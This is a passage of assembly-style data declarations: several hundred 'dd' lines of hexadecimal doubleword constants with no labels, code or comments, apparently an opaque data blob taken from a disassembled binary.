		dd 58E64E94h, 0E1F0A97Fh, 8A0027EEh, 4B51C35Dh,	2FD8103h
		dd 7EC0605Fh, 1080DB45h, 0CCBEB030h, 803CE83Dh,	42B19F60h
		dd 3C62AC1Dh, 0C90B2317h, 1E239B8Bh, 60DF9216h,	0CF8EB59Eh
		dd 490F1398h, 8F856013h, 0CACC81A6h, 1DB5AAAh, 627B2230h
		dd 0E0BEB41Ah, 0CF7DA11Dh, 50B6B830h, 2B59D9h, 85FE16F6h
		dd 0ED8627ADh, 565CCC00h, 0E726A469h, 2348C0B4h, 0EBAD1572h
		dd 0A38EA10Bh, 2026A16Bh, 9530BF18h, 425300D7h,	54D20676h
		dd 0B55C1EB9h, 0AB9860D0h, 170621Bh, 0B081D540h, 0EC9295CAh
		dd 0FC000D91h, 1C1D7251h, 715CF3h, 951E491Ah, 1F6F2940h
		dd 887EFA00h, 4A6ED678h, 0C4010920h, 5B03C2BFh,	0A6A8996Ch
		dd 51017845h, 0A5758B50h, 0DDE435ECh, 0E0240067h, 0F34ACD0Dh
		dd 1B5C1C8Eh, 9C080195h, 9102F092h, 6D90C0C6h, 35D358CCh
		dd 6AFB0079h, 0D7D13F88h, 38E2840Dh, 0CD5DA000h, 0DB315015h
		dd 653524CCh, 49F40104h, 0D0D68C36h, 0E400FC24h, 41A0420Bh
		dd 0F5A7B31h, 0C7A34DF5h, 4534FFC0h, 0C903B6B3h, 854FE15Bh
		dd 0A07B73h, 0FBE696B9h, 0A42CCAFh, 13D8150Fh, 38B703C6h
		dd 801CD837h, 93A71E9Ah, 8389410Bh, 0C8C29029h,	0B200D2E8h
		dd 1345E5D4h, 129117h, 4B0AD57Eh, 4E7139F6h, 22005A78h
		dd 0A177AABBh, 7E75D8h,	0D1DAC6C8h, 0DC05624Ch,	4A012679h
		dd 0A4922313h, 0B8FD39DDh, 0B13470h, 0A809969h,	3DAD74CFh
		dd 96B6400h, 0EC3A5DFCh, 0C010F875h, 3867F628h,	4600492Eh
		dd 7A87D99Dh, 0F8F435Fh, 0ADD72D4h, 0B82E1EECh,	219D1D07h
		dd 9970DB06h, 608B78h, 356E1531h, 71EE12C6h, 0F60093E0h
		dd 0AB94D23Fh, 3033692Eh, 0DCA9DFEBh, 0BA7ABFA0h, 0E0D5ED00h
		dd 0A277ACB2h, 0D7EB31A3h, 0C4088790h, 0F6002837h, 0A1C9737Bh
		dd 0EAA59Dh, 19CE7D76h,	0F712830Bh, 35003C77h, 1E47A0DDh
		dd 491BAh, 0C786B9C1h
		dd 380E3EECh, 5307B400h, 1A8F58B5h, 0E47F003Ah,	0D319C55Dh
		dd 0B700A1DCh, 375F98F0h, 3F57CD9h, 65556C58h, 5AC89134h
		dd 0B900E49Eh, 4CA7811h, 0EFBC45h, 0DE8CF2D3h, 0EA159173h
		dd 52AD9200h, 0FDD2231h, 71C3FDCh, 4E765C09h, 0D6C68055h
		dd 286941F3h, 9C03F61h,	0BA99F21Bh, 46131400h, 0CD00BF7Eh
		dd 14510F7Dh, 726F25C3h, 0F03F008Fh, 29F41FF2h,	0B0000AA2h
		dd 69D49659h, 554C4E2h,	0A32AD98Eh, 8980EBC5h, 0F73BB5h
		dd 78E3CF47h, 68A54AB4h, 0B6437900h, 570F5404h,	76B3016Bh
		dd 73A462B1h, 0AA35E0CDh, 4AEE601h, 0ABB6A1E8h,	0F05DFC70h
		dd 2D9324A5h, 96640020h, 4850A6B8h, 92F1C001h, 0D5382534h
		dd 0A88F46F8h, 0FD31C8h, 9ABD87A1h, 0CF1D5E8Eh,	1D889E4Ch
		dd 93802D3Dh, 192BCC8Ch, 0A5EA56h, 7142981Dh, 8B4BD4FAh
		dd 10EA9F07h, 0EC09BF5h, 4DEE6Bh, 563974BEh, 57DBBBC3h
		dd 0AD07B100h, 0BF389AB0h, 0EB67010Bh, 0ABF04F3Bh, 0CCFC60DDh
		dd 0E06FC000h, 0A5CE4D01h, 0C5B032Dh, 8E4066D5h, 0F87AD1B8h
		dd 9DC1070Ch, 4BB8E5h, 312E672Fh, 0FE50BC9Ch, 0ECBAA40Ch
		dd 7665990h, 32F868C3h,	92535722h, 8C803975h, 0D2E5B15Dh
		dd 0B4482660h, 3B7198h,	0AD315EAh, 7AAC38F4h, 89134D12h
		dd 54957302h, 8FE0C09Ch, 72D50006h, 0D81B3B22h,	0D71CC7ADh
		dd 99DC67CFh, 0C6ABA5C0h, 309CE5EAh, 6960118Fh,	8600FFCCh
		dd 8C8BF858h, 5784Bh, 0C1C65167h, 0EBA51B04h, 79BFEC1Fh
		dd 18FA6F40h, 0A802354Fh, 6EF0D0h, 646A4509h, 0E003B7A3h
		dd 2708E0FFh, 0EFB920C0h, 7FC0C9h, 0AD733EABh, 77DE3F75h
		dd 0DDD73Dh, 16A4F7B7h,	1674E60h, 7CC2D28Bh, 0E49FCADEh
		dd 5E90CBD9h, 0DBF74A00h, 0E234F678h, 36630035h, 98C00407h
		dd 640074AEh, 0E568C21Fh, 5C2EC112h, 0E04968Eh,	902B44A1h
		dd 0CF93F618h, 6DB2E200h, 2619608Ch, 8372F2h, 7A057003h
		dd 8113527Ch, 87B9F600h, 0B6381882h, 64345864h,	53A00500h
		dd 36E2BA6Ch, 0C6F3BF00h, 0AFB026FBh, 0C2791FDCh, 0EBB3C3AAh
		dd 40F70CBEh, 4A5C1DBCh, 0A2BB7700h, 49129E59h,	0F1C1E78h
		dd 0AF9C63h, 37F376E5h,	0D00D193h, 0EF4C198Ah, 0EAD56Ch
		dd 913B0639h, 0A5796FE1h, 82F44B02h, 89B63C52h,	714280ECh
		dd 7E0FF3h, 0C69A1A89h,	9D6AAE45h, 58220600h, 7AB11215h
		dd 0F6B43EC3h, 0CF2EAEh, 7ED36DD9h, 160F9E49h, 8036DBC0h
		dd 50C54398h, 0E89B02E0h, 837571F8h, 110038E4h,	0BB0613F3h
		dd 9935690h, 0DD368029h, 317EB083h, 202EDE99h, 0F4038460h
		dd 25E99A9Dh, 77FAB8FEh, 0D1FF4C48h, 4EB52807h,	1999D0A5h
		dd 6CB81604h, 3000F1FAh, 53CA6486h, 133BE494h, 113DE59h
		dd 2438D66Dh, 45B46012h, 6D026104h, 40907C06h, 2ED6797Ah
		dd 1BC931h, 0E0635DC0h,	7C00F187h, 0D94119F9h, 9EC70Bh
		dd 0A93F4588h, 0DCAD55ECh, 0C8D8CC01h, 0CE0619BEh, 0EA60C20h
		dd 8F74F260h, 5C8B8940h, 0C3070494h, 0A34E9721h, 75E93D50h
		dd 0FE180091h, 0C5DB661Bh, 10009A8h, 0D51776FBh, 0B06AE7h
		dd 0ED495EE5h, 1005A756h, 0F5D71400h, 0E0E47944h, 0DCFD0036h
		dd 0C65FB334h, 0B131BD1h, 2900A263h, 0F7EBC3AAh, 7C195887h
		dd 47FBBE00h, 74CAC113h, 0BBE5CD00h, 0DF99265Dh, 0CBB8A0B2h
		dd 5F9749Ah, 7533D4B5h,	4349322h, 209D6191h, 60C0C5DCh
		dd 15A1140Fh, 0CF19007Dh, 8E2C8FFCh, 0D800BC97h, 0E98ADC38h
		dd 903CA658h, 28950278h, 0B6892DB2h, 0F169C46h,	1400F19Ah
		dd 550AFB3Ch, 0E6700027h, 6399DC46h, 33DC64Eh, 0EE2A0254h
		dd 8C6EFC01h, 0B206FEh,	0F252A965h, 4EA6785Bh, 47E3Dh
		dd 146CCFEh, 2ABB966Ch,	1FC368Ah, 3599F8Fh, 80216E63h
		dd 0EF89A190h, 56CDF9h,	0AA1C9E1Dh, 1AF32084h, 9B7E0D00h
		dd 8EB3E24Dh, 6EB712FCh, 1300115h, 8069D96Dh, 8DE85F44h
		dd 1302A4ACh, 0CA278Fh,	0D7B74320h, 7B00E5E2h, 7622216Dh
		dd 7812035Eh, 39BD9081h, 2F0069BFh, 0C001F687h,	0A606AAD8h
		dd 9B7DA982h, 34F054h, 7AA4F172h, 26F5762Fh, 32487C00h
		dd 0EC5E9A0Ch, 69710077h, 0A88050C6h, 421FD0A5h, 0FA00FB3Dh
		dd 7437A703h, 0C9E40029h, 2C1BE221h, 17FA809Bh,	0A618E002h
		dd 40CA6552h, 181166CEh, 0C8CD906Ah, 0D2007212h, 0DC91D42h
		dd 90F34C6h, 5377553Dh,	0F28E4700h, 5E77D54Bh, 7EF8A100h
		dd 0B4890797h, 3C77A0h,	6FF9210Ch, 0BAE7B7E2h, 6C29AC00h
		dd 7987DDEAh, 0F8431F16h, 5BB5C0F5h, 9CCF153Bh,	45B34C00h
		dd 303F8410h, 1A970F2Dh, 5900BCE4h, 89521EEBh, 0DEB6C42Ch
		dd 39E6CA00h, 145CD976h, 28442228h, 0C6B12005h,	0E8C00082h
		dd 0EA8ABEABh, 7F197C14h, 0A3D600A8h, 0ACDAA533h, 188D3E58h
		dd 5C782C01h, 806CBB5Eh, 7E813B38h, 8035AEh, 0BF4D188Bh
		dd 1F7898Dh, 0B08F3A00h, 0E63FCEA6h, 9F0B00FCh,	38B99BEBh
		dd 0A9F480ABh, 0CE08CF48h, 1050A07Dh, 0E14C3117h, 6D246081h
		dd 0DC84C0F1h, 0C7073065h, 20B0B4A2h, 0EEB09627h, 48B35ED1h
		dd 220FE9A9h, 0A2C90C9Ah, 0C6852B80h, 72005FC2h, 9E281821h
		dd 3DF86CC7h, 6008B6Bh,	937F6D64h, 0A00B7DFh, 30E2D36Ah
		dd 49B440h, 2C0E374Ch, 0BD2635DEh, 62FE9700h, 7AF2EEECh
		dd 4A7929h, 3403A52Bh, 0B8F4BA9Dh, 0AC51B300h, 1CEEE405h
		dd 12B71EF9h, 338B002Dh, 5B7DE624h, 34DD5Ch, 204EC872h
		dd 905E6Eh, 6CB0141Ah, 8F6B2D9Fh, 0FC002E7Bh, 9C18318Bh
		dd 1708E6h, 8C4BAC19h, 0BF5B5756h, 139E9B00h, 0C1515598h
		dd 7A42164Ch, 5F490037h, 7657CF9Ch, 6B688512h, 649BBC40h
		dd 4C2EB13Bh, 0E307A06Ah, 0B322F48Fh, 64045D7Bh, 0F5E412D5h
		dd 7D0ED89Bh, 84204AF3h, 37286718h, 618A9207h, 0FFD798B7h
		dd 0ECC22B50h, 7BD21EAAh, 4118C3BEh, 89907A1Eh,	6512E9ADh
		dd 6E014B03h, 0D69ADBA5h, 942B424h, 0FABCC130h,	7CE3F000h
		dd 20FAA82Fh, 0F3832708h, 56140008h, 0AFF777CEh, 0F41E9F1Fh
		dd 9DBD6A80h, 3CD603F8h, 0FE007A5Bh, 4C62E179h,	0AE00BC0Bh
		dd 21948BE6h, 184F57Eh,	4F976C04h, 0D8101B93h, 0EC004054h
		dd 459C3552h, 0F87CE703h, 0FF6009A0h, 49836A02h, 4CB0DCB6h
		dd 0A23A4B4Ah, 0CC9F80FEh, 571B0DE6h, 5351ED0h,	9DE9006Fh
		dd 131EDF58h, 8C1CD17Ah, 280C42Bh, 0D56A6485h, 0C7EC00F6h
		dd 0B5130F54h, 3800FD55h, 6742B898h, 39CC1DC4h,	5A809D4Bh
		dd 1F19D765h, 0CB01138Ah, 519B496Eh, 0C3D0F3B0h, 1DC903C8h
		dd 0D90A045h, 4A1C8B88h, 7E04D177h, 12BBC009h, 2C26EAC0h
		dd 58030E1Fh, 9C27CA13h, 39E372FBh, 0BE60B3E2h,	32005748h
		dd 0C77F69AAh, 553B70h,	9C99D3A2h, 272FE456h, 732D03Bh
		dd 7D5B6589h, 0FF4CF303h, 0E9B11413h, 2081D644h, 35B53848h
		dd 0C503EC11h, 0E885CECAh, 189BA800h, 132EBB40h, 4127FB5Ah
		dd 696BEE4h, 2B6AF44Ch,	6C5EFE00h, 7320AF0h, 5CCB4CC8h
		dd 47721278h, 0C0C4081h, 840A86EBh, 18853E00h, 24B4E926h
		dd 0C4603E8Eh, 4137BE80h, 0CBA138F8h, 5EBC718h,	0C33938h
		dd 0E97AFF06h, 7175D9FBh, 7CBAEA00h, 71109ADh, 3841F7FDh
		dd 0C8099592h, 26074ACh, 1D847508h, 40791871h, 43820F7h
		dd 0AEE9D90Fh, 8D4C000Fh, 3899192Fh, 310F5A88h,	3A60E06Dh
		dd 8766F38Eh, 2498E41Eh, 728F745h, 351B1C0h, 8D7512C7h
		dd 0EED3009Ch, 6068E0EAh
		dd 5894A514h, 8B6100DBh, 9EDF4FAFh, 647B30EFh, 6D656656h
		dd 14BB9D00h, 737AF953h, 0D6750038h, 6A99C840h,	5B00BF27h
		dd 8C586864h, 7D57C7h, 2D816B1Dh, 0CF3FB5B6h, 0D8A7552Dh
		dd 0F1F600A5h, 5486D13Eh, 8FF626BEh, 4DD66D00h,	0FBC1CD33h
		dd 4CCA00B2h, 0E2C7363Ch, 0ED3DEF0Bh, 0B3F85B98h, 9933B701h
		dd 0F0D95F25h, 522874B3h, 8301A468h, 0BBD5B238h, 0C7FD12F3h
		dd 3FD013E5h, 7120C76Ah, 0D463A0FAh, 2C7152E1h,	337AE3Dh
		dd 5F32962Bh, 85169106h, 9D81D8h, 13B5B857h, 0BDF73499h
		dd 0DDCECB01h, 0F1D30CF8h, 0F9E495D1h, 9E2EC47h, 5AD6F67Fh
		dd 82E36CA5h, 20403C6Dh, 7202852Eh, 5CB93316h, 86F8A0F9h
		dd 1D9B3166h, 0D8AAF746h, 0D91187Dh, 0B4119000h, 35FD2CECh
		dd 0A5F500D8h, 137605E9h, 0BE04433Fh, 0F8FF2241h, 0C0F03890h
		dd 0C05D7157h, 620CD1A8h, 0F9608360h, 0E53EB118h, 50DB00CBh
		dd 0ED660B90h, 20C05D1Ah, 9E6D0C87h, 48E260FCh,	0ED417AE1h
		dd 91BF0A01h, 18E872F8h, 3B0CD8D3h, 1EC303F0h, 0DC824556h
		dd 0C76A0DF0h, 0FA0AED79h, 0A04736F7h, 0A99F7A00h, 1ACA1BBh
		dd 6637E2FEh, 30C0CEBAh, 0A6006C20h, 95476F38h,	0E4BE467Fh
		dd 0D4753D3Eh, 43325F80h, 0D61F5EC7h, 506F3Bh, 23A89C59h
		dd 13B6E3h, 0F98B083h, 8429A2E0h, 0DAB72400h, 0AC77E14Ah
		dd 0A6C5003Fh, 597496A4h, 0B5749BC8h, 5790D200h, 98FE6BAEh
		dd 69780154h, 915B956Ch, 0A24FD43Ah, 0E851B600h, 0F790652Ch
		dd 3FD758CDh, 0F4810F38h, 0B0B50CD6h, 63C8709Eh, 4084301h
		dd 0BFCBB927h, 0B34AE8h, 1249E4EEh, 0A23CD7E0h,	9D048CE8h
		dd 3485805Dh, 101FB6F8h, 0C44780E3h, 66E4FBA5h,	0D8836107h
		dd 2740659Ch, 5F2B386h,	13F54EC0h, 0CEDB0B56h, 470039D4h
		dd 15BED3C5h, 0FBBF3C79h, 250BA980h, 89E8903Ch,	700517Dh
		dd 4FE3578Fh, 0BAC295h,	0D71D44BCh, 710870F8h, 5218A361h
		dd 0D5F04582h, 6BE2008Eh, 20A1C8D2h, 4A03C40Dh,	40919068h
		dd 5B28F884h, 8B701848h, 0B99FA042h, 75181201h,	2CFF1CEDh
		dd 0F1F78457h, 0C7BE9EC0h, 69CCFD0Dh, 0C2F4009Ah, 0C03A9C39h
		dd 2B00DF83h, 1F285B2Ch, 0BB71AFh, 0BC854026h, 36B49B2h
		dd 0CD2BCF0Fh, 0B42880AAh, 7CA0622h, 84691DA2h,	12F993F7h
		dd 0B24196B8h, 0D32EEA1Eh, 0D2261E70h, 4FBD001Ah, 0D84D1E79h
		dd 49071B5Fh, 0EADEFEBCh, 0D2903311h, 0E125E70h, 65C67CF0h
		dd 790FF5E0h, 0A2009DE4h, 45C402D0h, 3AE6E46h, 2489505Fh
		dd 4E88D96Ch, 0F60EC186h, 0AD6468h, 0F47321Ch, 0A5850055h
		dd 54896D8Dh, 0AC0043FAh, 0E828E9C9h, 0E0A414h,	0CDFF9194h
		dd 0E29AEC70h, 0E4BE72Ch, 0E4DEDC00h, 7941E1E8h, 0B8170075h
		dd 0EA733BB6h, 9D007CEBh, 30915C85h, 3946C1D9h,	0CA805B9Eh
		dd 7ACB8D62h, 9700DDDCh, 8B6EF13Fh, 2D708Ch, 9B092FBh
		dd 2395348Dh, 0B83BF80Fh, 0F5072028h, 0B4EC44h,	9B603CA1h
		dd 0C035D656h, 535DB31Fh, 0CF2CE941h, 0CAE8F5C2h, 4F61005Eh
		dd 44EF99FCh, 9F0E49ACh, 9615DC6Dh, 0CF970C00h,	0C76BF0h
		dd 65B2319Eh, 6F7DD9FAh, 0E42A4A00h, 46BBEEBDh,	0CD630096h
		dd 1AB09105h, 200E2D15h, 403BE688h, 98F007C5h, 0B99B00C2h
		dd 0CC0D43FDh, 0AC015BF3h, 0A687B6EEh, 808021DCh, 0D53012D6h
		dd 0C902366h, 5A69A714h, 0C0F601D4h, 0C640F7E6h, 39C32CCh
		dd 80E56890h, 64D8FC55h, 421D2956h, 2B401F2Ah, 0AC7011F9h
		dd 1CBFCDBh, 0AACE57BAh, 0C36BDF87h, 604897CBh,	47FB00B5h
		dd 26085A45h, 0F4513BC3h, 754BB003h, 0DEE08E4Dh, 0DC00BC83h
		dd 0BEBD6E45h, 2CB587h,	158DD70Ch, 0F5922052h, 0F3ABB300h
		dd 80A8EE6Ah, 55755Ah, 46549D7Eh, 0D72396B4h, 2CDDBF1Fh
		dd 0D807D2C0h, 704E65AEh, 7490A9h, 0A3B406BEh, 6C86298Fh
		dd 6A573203h, 806FD249h, 0C0B1E789h, 5B7EFFB0h,	0F576CC80h
		dd 1334DA00h, 622C729Eh, 0B61C0949h, 2003E395h,	60E87DF5h
		dd 4300F7C7h, 6D3E0717h, 0C45EBh, 0C2202BF9h, 0B08A2E6Eh
		dd 0FE74E00h, 0AB0A2AEFh, 0B1EC00FEh, 0E4242707h, 75011932h
		dd 3A72A1F7h, 0C9D0AF30h, 6B871EFEh, 9ED0C00Eh,	1232B69h
		dd 0A697BB1Dh, 0F6370FCCh, 8CBD549Ch, 3CF873EFh, 2081A8C3h
		dd 0C97DC809h, 82A44021h, 4077B8FDh, 81DDD53Dh,	0CF87AC60h
		dd 208122FAh, 5193716Eh, 3C0020E7h, 0EF6A500h, 5F204409h
		dd 58AE00C3h, 314B9B29h, 0CC1FE9AAh, 6A80138Bh,	0C091DE87h
		dd 422512CFh, 0CB160053h, 38E6C88Ah, 0DD3FCA1Fh, 165144C0h
		dd 380254ADh, 0F9037D78h, 4DD3C1F2h, 53AFAED8h,	75E34704h
		dd 1C909D77h, 13E27Fh, 5961DE44h, 2C67F370h, 878D5000h
		dd 0C68B1C3h, 0DC9D0473h, 0C0FC9684h, 932B5CD5h, 0BCE25E00h
		dd 0BE405B56h, 0B41B0059h, 1699D263h, 8B486BE9h, 0C47E008Dh
		dd 4A9CCFFFh, 31759034h, 0FAE8F772h, 2F57CC1Eh,	1A00B67Ah
		dd 1DDCF94h, 7828988Eh,	9317014Fh, 682FC5BBh, 0DCD4D81Bh
		dd 0CB727F07h, 6B0887Ch, 0C6A50F5h, 712AB8DDh, 970FD418h
		dd 40BC9BD3h, 83015C4h,	0E0A10074h, 0ADD11C24h,	0E9004DA8h
		dd 0F4B1602h, 7233A5Eh,	9BE3BAFAh, 0CB429027h, 0B8012D87h
		dd 16701056h, 8060E7CAh, 446000E4h, 0E28BE8A8h,	0D30091B9h
		dd 2CC6BD42h, 600E1590h, 923A3029h, 7B00FDFBh, 37C72410h
		dd 0FA7D75Eh, 0BD5D694Eh, 0EBA6D600h, 3500D25Ch, 0D57B58B4h
		dd 58D0Ah, 82FD2A1Fh, 0A15CC788h, 91745109h, 0BAAC01D0h
		dd 61C8967Ch, 18C81450h, 0DD009001h, 0E5D6B25Ch, 0A7E288FCh
		dd 0F469A00h, 0C3CD0DBh, 8C860084h, 0DF4A3969h,	0AE0055F7h
		dd 4DAFED43h, 0FD430C0h, 0A9AD2088h, 21B01000h,	0DA0BA681h
		dd 76C9BFEh, 0A70E244Ch, 9FD03BF2h, 0C84C07h, 0A927D4D3h
		dd 0AE18CCA2h, 0ADFB7300h, 0F96F811Bh, 4B21013Bh, 8A13114Fh
		dd 0DBFEE0CDh, 0E1025A75h, 54AA3406h, 50C04051h, 0DFA10040h
		dd 7AEB5E16h, 5C3ECDDBh, 46D71FCFh, 8022C644h, 5DC2C497h
		dd 349481CAh, 983097CEh, 0FACC003Dh, 42379985h,	24000CA9h
		dd 0F29F3909h, 4E8F2Bh,	2DBE936Ah, 68BB7ABDh, 45DC2A2Eh
		dd 8BFF3000h, 9248F8h, 7BDE758h, 68E84AEBh, 8EF29600h
		dd 1F157CE9h, 1E4E017Ah, 7288ED67h, 0F59FDC4Ch,	96A66001h
		dd 0C25B40D0h, 0EECBF8h, 68C83D73h, 9C2018CFh, 49A8F507h
		dd 0D4A06DC0h, 3F1F0B5h, 4F6606CDh, 0D0B8F317h,	0E43BF8A9h
		dd 0DDFE81B6h, 3C23DE4Eh, 1D8CC4F0h, 404A2FB7h,	0C0725942h
		dd 0EB7699D8h, 7704C53Ah, 8DD57D00h, 3C145DFEh,	42801C76h
		dd 0D7EC80C8h, 282DC771h, 4D255700h, 7A21BA8Ah,	0B8F73C65h
		dd 0CE52D703h, 5998F0FCh, 6E01A19Bh, 9663FF6Fh,	94D03B7Bh
		dd 2D950E26h, 69205A14h, 0F7880B9Ch, 0CEB2C561h, 0EF40DA35h
		dd 77BBCE4h, 0AAB6C2A3h, 66919053h, 7C1D20CFh, 2DC7080Bh
		dd 0CD619B3Ch, 87D44F74h, 314D072Ch, 646DF460h,	32388088h
		dd 0E90128C4h, 6E299F45h, 0E840E78Ch, 7C79C16h,	87882F14h
		dd 0A4BC60F7h, 0A20C5E7Dh, 21159A97h, 0D2300B8h, 0AD2AAF11h
		dd 0FC00C62Bh, 0AECA6E0h, 3AB4DAA3h, 1900C01Dh,	1D7BC94h
		dd 3C01B5C4h, 92248197h, 88808956h, 0A3CF1F7Dh,	6E1D6AE8h
		dd 611DEDD8h, 7119DE02h, 179C6851h, 0DFE87446h,	41C9C058h
		dd 8CE38AB8h, 2F254D1Dh, 68489640h, 3E1156Ah, 0EECFAED7h
		dd 0B3E8CD33h, 0A400D931h
		dd 69E49C07h, 0CB7652h,	342237CFh, 0B10C7D62h, 0B4AA38h
		dd 532C97DCh, 3CFFD12h,	7D6B5B96h, 0EFF8DB06h, 6FF641C3h
		dd 9F397F3Ah, 684061F5h, 9957BCFAh, 1835EE5Ah, 98EC7582h
		dd 1729AE8Bh, 470688EAh, 31D121FBh, 36F098BDh, 9B88D0BBh
		dd 0F14A050h, 0B5B1D901h, 2E4AE222h, 0E82FFE80h, 8DC8666Eh
		dd 3C01C214h, 0DBB11F9Ah, 0A0D2D0CFh, 9755E7F0h, 6CCDF740h
		dd 171BEFCh, 7FF807E4h,	0C9297924h, 7DA0EFFBh, 0C712C250h
		dd 820888Ch, 27CFC54h, 5D849734h, 15C3C87Fh, 808B09A1h
		dd 1F583D20h, 6AF1Ch, 7BA99E56h, 0EAB4DC05h, 5524EB01h
		dd 0F952DA02h, 92667D4h, 7D4F349Dh, 0ACCDE280h,	4E0004F2h
		dd 0DCCB415Eh, 52154B1Bh, 0FA0088AEh, 0E689C24Dh, 960BD5CDh
		dd 5E413D5Ah, 0A6320090h, 6DF2C5C0h, 85E4D801h,	28563F62h
		dd 3DD0CACDh, 56573DCh,	0B4CCA60Dh, 5F2C7C14h, 945921D8h
		dd 0A8260016h, 0A7BFD158h, 0C8005999h, 27B36244h, 1CC2F8F7h
		dd 22F15D07h, 0E7A0DA50h, 4234721h, 0C44B122Bh,	96A03894h
		dd 0F87CC700h, 746CB95Ch, 0DC020750h, 85A0B8h, 369C14BAh
		dd 0FC3832F6h, 0D4B10792h, 816BE9A8h, 24E42DC4h, 226064h
		dd 0EBD4645h, 0CC07EC5Bh, 8F71633h, 652100AEh, 455EBE73h
		dd 291DB1E3h, 790202C0h, 8078152Fh, 0C8B06C98h,	0E7D500B2h
		dd 34BD6245h, 1209B7D3h, 78047479h, 1A9B0096h, 21A548DBh
		dd 1198DE29h, 98AEFE00h, 77B11138h, 3BE2A6h, 0BD26BA23h
		dd 0B0B48BE9h, 372A8400h, 6BBE7A2Eh, 292B0404h,	800396C2h
		dd 1DA28111h, 44A9391Dh, 0DF0C4540h, 0E2C7CA6h,	26C1CEAAh
		dd 4AD024C1h, 4C42FC6Eh, 0F668C05h, 6FC1F196h, 78ECE6A5h
		dd 107B37h, 94A59C8h, 359D7AAEh, 0FC17E100h, 0B456AFD8h
		dd 42C300BDh, 50E59E4Eh, 5F00DF4Fh, 2CCCBA0Fh, 1D559h
		dd 0A85B17D9h, 0EADA265Ah, 2E87BC04h, 278039D0h, 0F91A7FCh
		dd 3DD234E8h, 0EBE7D40h, 0F7E8781Eh, 0A0D5BA0Fh, 0B4E48071h
		dd 1ADE5Eh, 0BFEBED54h,	0B03324A6h, 3418627Bh, 588C927h
		dd 0CCB100BCh, 8C58A78Eh, 0B6785A39h, 80E29C38h, 652E04D6h
		dd 14AA774Bh, 0B4D2B498h, 1A8FCC00h, 4E0D48E6h,	234DB000h
		dd 98A0E29Fh, 0FA9A0088h, 0F8391CB8h, 0BE05ECC8h, 845ABC14h
		dd 6C3F642Bh, 0AB260043h, 2FDB889Fh, 63C70055h,	0D6891D62h
		dd 81E070Eh, 0C20C528Ah, 0C3B859h, 0C9E72A23h, 0D1C46D66h
		dd 0AFA0CF50h, 85464C00h, 39D5ABDh, 1AB005Ch, 2C2782C5h
		dd 54005F45h, 719F8D4Eh, 0A82F49h, 0EC74FFF2h, 0EF09E25Ah
		dd 5100C9FAh, 0EEEA7AE7h, 68DAC39h, 849B5856h, 79FA2074h
		dd 0F7012876h, 7D57F18Ah, 0E9F0EA68h, 4BCA0D09h, 0CC287796h
		dd 1203838Ch, 46D54FADh, 1197DF5h, 0A1387A34h, 0C895796Ch
		dd 7300FC6Eh, 5E68C6BFh, 0ECE5C53Dh, 618018FEh,	7FEF58F1h
		dd 0F3DE253Bh, 9A303B00h, 0F5A3BDE3h, 0BE21C086h, 0CEA2D2CAh
		dd 0D7F93C03h, 0E8F26313h, 26AC01h, 94510C4Bh, 0C3876A75h
		dd 0DAD4E518h, 0C1BB4D0h, 9BE3A9C8h, 6B05E9A1h,	279C3AEDh
		dd 2900F51Eh, 0C02C4AFAh, 920C07A3h, 430964F4h,	20001411h
		dd 3C4B06B4h, 2E75F128h, 3EC593h, 0BDDA508Ah, 186167EAh
		dd 3DED6960h, 2EF2C48h,	0CBC0E8B0h, 6A10F728h, 0B388C3EDh
		dd 0F0EFB20Eh, 0E28E4469h, 0F198B830h, 737FEAh,	0EEBE952Ah
		dd 0E389371Ch, 28F75903h, 1F50CE6h, 0B5E87028h,	8794FD2Fh
		dd 0D371EF0h, 0B8F7DC73h, 1D743C9h, 8E42A369h, 0F0646F79h
		dd 86B81A16h, 0B6A11B00h, 0E71E8DF9h, 667EEAh, 0AB3D06CEh
		dd 2FDD8B3h, 7CBD1924h,	0D683E600h, 1A1748h, 0F4796AAFh
		dd 0F3D81EA5h, 0DDF6920Eh, 0E02E8EC1h, 5660ED4Bh, 97FF018Ah
		dd 27FEE2E7h, 0F8CBE168h, 2A0049E4h, 0D4FF41Bh,	0E46355Dh
		dd 4E372E2Ch, 0C7D14145h, 0ECE68091h, 4C00E8B6h, 211DDAD5h
		dd 378F149h, 0B5759D5Dh, 387B5386h, 9ED0C600h, 6D186C1Ch
		dd 8D140084h, 0F943F480h, 27AE742h, 0A4B79F16h,	93B5D000h
		dd 0EFCE4Ah, 4C895B60h,	215E3413h, 49DAAE00h, 0F86A46E4h
		dd 0F17B0088h, 71E90B6Fh, 0FE3998A2h, 0C0910050h, 0ADA436B9h
		dd 80E40708h, 601E1F3Eh, 0E5844DBh, 18353A00h, 3F52FBDCh
		dd 5A2E3A78h, 40B7281Fh, 7315A8DEh, 100DB4Eh, 82143831h
		dd 682CB6h, 6B5430Ah, 269905E3h, 4B72C31Dh, 7F8B9D80h
		dd 9BF293Bh, 0B154E9C7h, 8A326520h, 3D00520Ah, 95A93AE0h
		dd 185D5C3h, 0CA61B858h, 0D775D925h, 23CC9EB0h,	9DEA3C00h
		dd 0C358AD97h, 0D62A003Bh, 141EED0Ah, 73EADAFEh, 1D85CB02h
		dd 0C00955BAh, 72E3BDEAh, 9095005Bh, 0F9D8033h,	9400488Ah
		dd 4FE763D8h, 79A51FCh,	2DC8AE3Eh, 7545F0A8h, 810087CCh
		dd 99B5C331h, 1E0485h, 5D9253CFh, 0BC94F91Bh, 20399801h
		dd 0F0DF749Ah, 314CEE8h, 57FBA023h, 48F8357Eh, 8B001056h
		dd 0A829E889h, 646DCCh,	818D692Bh, 32AED072h, 0A90FD673h
		dd 2050A85Fh, 517E08CAh, 930E0FA3h, 8B206E0Fh, 8043FA01h
		dd 2CE1A83Ch, 21008495h, 0C07AB8F0h, 8A380034h,	0D26C764Ch
		dd 77006586h, 8194A659h, 36A7B78h, 58F21474h, 4800DD2Ah
		dd 0A2122F24h, 7F853Eh,	0C60C7BB3h, 43E283DAh, 86BD1A24h
		dd 0DFA69400h, 6042C133h, 0F807119Bh, 6B004E81h, 8F7B308Eh
		dd 792217Fh, 8A16CA91h,	3CFB10E5h, 0F2C054C1h, 804C2994h
		dd 9E58178Dh, 0D893A1D0h, 0A902C33Dh, 8F2160A6h, 0C7B4E08Ch
		dd 0C1250E4Ch, 0B7007161h, 119D9894h, 0E70FA228h, 0CD2830D8h
		dd 0F7DB00C7h, 0E7D93246h, 0CF007FCCh, 0A33DA184h, 5E90B0h
		dd 12C781Bh, 0C1C86F6Ch, 18B11200h, 9F9685E0h, 0B4470099h
		dd 87FAAB6Dh, 16264953h, 79012855h, 3FAF3CB7h, 60D648C8h
		dd 290C1970h, 0E3017739h, 0B01399A6h, 6FC4F2AAh, 67620060h
